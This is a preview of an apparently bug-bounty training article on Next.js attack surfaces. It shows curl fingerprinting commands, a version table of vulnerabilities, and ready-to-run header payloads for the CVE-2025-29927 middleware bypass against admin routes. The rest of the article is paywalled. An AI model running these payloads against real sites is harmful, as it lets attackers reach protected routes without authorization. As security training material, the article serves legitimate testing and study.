Advanced levelPremium

Next.js attack surface 2026 — middleware bypass, internal SSRF, RSC abuse

Next.js 13-16 specific vulnerabilities: middleware bypass with manipulated headers, SSRF in API routes, RSC (React Server Components) data leak, image optimization SSRF.

Gorka El BochiMay 11, 202615 min

Quick answer

Next.js is the dominant framework in modern SaaS and drags along a unique attack surface: middleware as the only auth layer, image optimization as an SSRF gadget, Server Actions with Host header injection, and RSC payloads that leak server-side data to the client. CVE-2025-29927 (middleware bypass via x-middleware-subrequest) is still alive in ~35% of Next 14 apps. If the fingerprint detects Next, you attack in this order: middleware bypass → image SSRF → server actions → RSC inspection.


1. Quick Next.js fingerprint

Before firing payloads, confirm the version. The surface changes drastically between Next 12 (no App Router), Next 13-14 (App Router + Server Actions) and Next 15+.

bash
# Build ID + buildManifest
curl -s https://target.com/_next/static/buildManifest.js | head

# Headers indicativos
curl -sI https://target.com | grep -iE "x-powered-by|x-nextjs|x-middleware"

# RSC endpoints (App Router only)
curl -s https://target.com/some-path -H "RSC: 1" -H "Next-Router-State-Tree: %5B%22%22%2C%7B%7D%5D"
VersionAdded featuresKey vector
≤ 12.1Pages RouterImage SSRF (legacy domains)
12.2 - 15.2.2MiddlewareCVE-2025-29927 bypass
13+App Router + RSCRSC data exfil + Server Actions
14+Stable Server ActionsHost header injection (CVE-2024-34351)
≥ 15.2.3PatchedAttack other surfaces

2. CVE-2025-29927 — middleware bypass

Next.js uses middleware for auth, redirects, rate limiting and security headers. Middleware runs before routes. If the attacker can skip it, the protected endpoint becomes directly accessible.

The bug

The x-middleware-subrequest header is used internally between the Next runtime and the route handler to avoid loops when middleware calls its own app. If the attacker sets that header on an incoming request, Next assumes it already went through middleware and skips it.

Payloads

bash
# Versión sin src/
curl -H "x-middleware-subrequest: middleware" https://target.com/admin

# Versión con src/middleware.ts
curl -H "x-middleware-subrequest: src/middleware" https://target.com/admin

# Defensa con counter de profundidad — repetir N veces
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  https://target.com/admin

# Pages router legacy
curl -H "x-middleware-subrequest: pages/_middleware" https://target.com/admin

[!danger] Still alive in 2026 Although Next ≥ 15.2.3 is patched, 35%+ of production Next 14 apps in 2026 haven't updated. A pass with those 4 values on each protected route is 30 seconds per target.


Keep reading the full chain

The remaining part includes the step-by-step PoC, exploitation code and the full chain that led to impact. Available to subscribers.

Practice this in a lab

Nextjs Attack Surface

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

hunters training
711

hunters training

labs from real reports
55

labs from real reports

completions
1,205

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy